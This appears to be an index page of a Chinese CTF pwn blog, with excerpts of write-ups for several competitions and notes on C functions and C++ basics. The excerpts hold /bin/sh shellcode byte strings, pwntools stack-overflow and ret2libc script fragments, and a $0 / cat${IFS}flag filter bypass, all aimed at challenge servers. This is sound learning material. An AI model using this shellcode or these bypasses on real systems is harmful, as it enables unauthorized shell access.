2025_NSSCTF秋季招新赛
hello_pwn直接nc连接得flag,没什么说的。 haoo@haoo:~/Desktop$ nc node6.anna.nssctf.cn 24590Welcome, ctfer, to NSSCTF 2025. We wish you a great time!A journey of a thousand miles begins with a single step.Go ahead and grab your first flag now!lsbinbugdevflagliblib32lib64libexeclibx32cat flagNSSCTF{e6f6b5fd-968d-4425-ac40-23a58494102f} 他得不到她简单的栈溢出,存在后门函数,只是将system(‘/bin/sh’)换成了system(‘$0’)。 from pwn...
Question_CTF_2025
Week1幸运星 一道伪随机数的题目,只需要50次输入和生产的随机数一样即可,此题将time(0)设置为种子,这里我还是编写一段C语言代码来生产随机数。 #include<stdio.h>#include<stdlib.h>#include<time.h>int main(){ srand(time(0)); int x=0; for(int i=0;i<50;i++) { x=rand()%53+7; printf("%d\n",x); } return 0;} from pwn...
NewStarCTF2025
Week1第一周的题都比较简单,就想说一下GNU那道比较新颖,挺好玩的。 GNU...
pwn_test
该文章主要借鉴了yichen师傅的博客,加上自己的一些实操与理解。主要是为了更好理解一些原理。 Linux动态链接PLT与GOT在Linux中,动态链接主要通过PLT与GOT来实现的。实验以下源代码来理解一下 #include <stdio.h>void print_banner(){ printf("Welcome to World of PLT and GOT\n");}int main(void){ print_banner(); return 0;} 使用gcc -o test test.o -m32与gcc -Wall -g -o test.o -c test.c -m32进行编译,可以同时获得一个.o文件与可执行文件,接着使用objdump看一下反汇编 test.o: file format elf32-i386Disassembly of section .text:00000000 <print_banner>: 0: 55 ...
shellcode记录
做了一些shellcode的题目了,遇到了多种多样的shellcode,在这里记录一些,方便以后直接使用。(当然能够自己编写更好) 32位shellcraft生成的shellcodeshellcraft.sh()b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'#长度:44 能直接获取shell 其他shellcode21bytesb"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" ...
XYCTF2024
hello_world(签到) 开启了pie保护,但是可以泄漏地址,而且存在栈溢出,因此可以先泄漏libc,再打ret2libc。 from pwn import*libc=ELF('./hello_worldlibc.so.6')elf=ELF('./hello_world')io=remote('challenge.imxbt.cn',30092)payload=b'a'*0x28io.recvuntil(b'name:...
Polarctf2025秋季赛
nc 这题主要是通过nc连接后,输入相应的指令获得flag,因此可以不用关心开启的保护机制。 程序先判断用户输入的是否是$0,若为$0则进入special-mode,再看parse_special_command函数,不能使用cat flag指令获取flag,但可以使用cat${IFS}flag获取flag。 from pwn import*io=remote('1.95.36.136',2066)io.sendline(b'$0')io.sendline(b'cat${IFS}flag')io.interactive() stackof 存在后门函数,只需要n49等于1。 from pwn...
函数_C
strtol()格式:*long int strol(const char *str,char endptr,int base)**,把*参数str指向的字符串根据给定的base转换为一个长整数,base必须介于2和36之间或为0。返回值为被转换的长整型整数值**。 strstr()格式:*char *strstr(const char *haystack,const char *needle),在字符串haystack中查找第一次出现字符串needle的位置,不包含终止符\0。返回值为指向haystack中第一次出现needle的位置的指针,若没找到则返回*NULL。 memcpy()格式:*void *memcpy(void *str1,const void *str2,size_t n),从存储区str2复制n个字节到存储区*str1。返回一个指向目标存储区str1的指针。 strcspn()格式:size_t strcspn(const char *str1,const char...
C++_Study
0-hello_world学习一门语言一开始都要做的事,编写程序打印出hello world。(尽管什么都不会) #include<iostream>using namespace std;int main(){ cout << "hello_world" << endl; system("pause"); return 0;} 1-初识1-1:注释在代码中加一些说明和注释,方便自己和他人阅读理解代码。 单行注释:通常放在一行代码的上方或末尾,对该行代码进行说明,格式如下 //描述内容 多行注释:通常放在一段代码的上方,对该段代码进行说明,格式如下 /*描述内容*/ 示例如下: #include<iostream>using namespace std;/*打印hello_world字符串的函数*/int main(){ cout << "hello_world" << endl; ...
